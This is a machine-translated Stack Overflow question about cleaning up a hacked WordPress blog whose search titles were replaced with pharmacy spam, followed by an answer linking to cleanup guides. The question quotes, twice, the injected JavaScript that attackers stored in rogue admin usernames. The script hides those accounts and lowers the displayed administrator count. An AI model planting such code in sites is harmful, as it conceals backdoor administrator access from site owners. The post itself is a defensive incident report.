php - 如何从脚本中查找和清理 wordpress,这些脚本会更改您在 Google 和 Yahoo 上的博客帖子标题并带有令人尴尬的 "Viagra text"?

标签 php security wordpress sql-injection code-injection

现在成功抵御大规模 DDoS 攻击一天后 http://arabcrunch.com被某人入侵,似乎将帖子标题更改为谷歌搜索引擎上的伟哥广告看看他们是如何损害我们的:

www.google.com/search?hl=en&client=safari&rls=en&q=Viagra+Online+Pharmacy+-+Buy+Online+Viagra%2C+Cialis%2C+Levitra+wordpress+hack&aq=f&aqi=&aql =&oq=&gs_rfai=

这里:

google.com/search?hl=en&client=safari&rls=en&q=idescribe&btnG=Search&aq=f&aqi=g-s1g-sx2g-s1g-sx1&aql=&oq=&gs_rfai=

我们所做的是使用干净的插件安装干净的 WP,并导入包含旧帖子和所有页面的数据库。然后手动添加我们需要的每个 puglin 然后重建 sitemap.xml

但现在我们注定要失败,因为您搜索的任何关键字都会在谷歌上获得标题为:伟哥在线药房 - 在线购买伟哥、西力士、艾力达

我在数据库表 wp_usermeta user_id: 16 上发现用户名是一个脚本:

<b id="user_superuser"><script language="JavaScript">
  var setUserName = function(){ 
      try{    
        var t=document.getElementById("user_superuser");   
                 while(t.nodeName!="TR"){      
           t=t.parentNode;                };   
         t.parentNode.removeChild(t);      
      var tags = document.getElementsByTagName("H3");    
        var s = " shown below"; 
           for (var i = 0; i < tags.length; i++) {    
             var t=tags[i].innerHTML;        
         var h=tags[i];             
    if(t.indexOf(s)>0){   
                   s =(parseInt(t)-1)+s;
                      h.removeChild(h.firstChild);
                      t = document.createTextNode(s);  
                        h.appendChild(t);                     }                }
   var arr=document.getElementsByTagName("ul");
   for(var i in arr) if(arr[i].className=="subsubsub"){
       var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
       if(n[1]>0){   var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)    </gi,">Administrator ("+(n[1]-1)+")<");   arr[i].innerHTML=txt;       }   } 
             }catch(e){};
      };      addLoadEvent(setUserName);      </script>

这是对 ArabCrunch EN 以及 2009 年 9 月 9 日遭受的数千个 WP 博客的黑客攻击的微笑 在这里阅读它并链接到解决方案: arabcrunch.com/2009/09/arabcrunch-and-wordpress-under-attack.html

安装后我们发现了 2 个新用户: wordpress.org 和 system,都被设置为 admin 并且具有相同的脚本设置作为它们的用户名:

<div id="user_superuser"><script language="JavaScript">
var setUserName = function(){
 try{
  var t=document.getElementById("user_superuser");
  while(t.nodeName!="TR"){
   t=t.parentNode;
  };
  t.parentNode.removeChild(t);
  var tags = document.getElementsByTagName("H3");
  var s = " shown below";
  for (var i = 0; i < tags.length; i++) {
   var t=tags[i].innerHTML;
   var h=tags[i];
   if(t.indexOf(s)>0){
    s =(parseInt(t)-1)+s;
    h.removeChild(h.firstChild);
    t = document.createTextNode(s);
    h.appendChild(t);
   }
  }
  var arr=document.getElementsByTagName("ul");
  for(var i in arr) if(arr[i].className=="subsubsub"){
   var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);
   if(n[1]>0){
    var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");
        arr[i].innerHTML=txt;
        }
    }
          }catch(e){};
     };
     addLoadEvent(setUserName);
</script></div>

知道如何解决这个问题吗?

最佳答案

在将数据库导入新的 WP 安装之前导出并清理数据库:参见 FAQ: My site was hacked « WordPress Codexhow-to-completely-clean-your-hacked-wordpress-installation.

关于php - 如何从脚本中查找和清理 wordpress,这些脚本会更改您在 Google 和 Yahoo 上的博客帖子标题并带有令人尴尬的 "Viagra text"?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2686877/

相关文章:

security - 当前选择的身份验证器的客户端不支持任何能够满足 CA 要求的质询组合

php - 使用 wp_redirect 重定向 wordpress 页面

javascript - AngularJS 在 Wordpress 插件中工作吗

php - 旋转见证

javascript - 处理复选框列表并选择标签

php - PHP float 使用的最佳实践

php - 使用 laravel 5 传递多个 flash 警告消息

javascript - 验证javascript文件上的信息后如何将数据发送到php

java - 如何修复struts漏洞

java - 我如何安全地处理 JVM 上的 key Material 缓冲区并将其归零?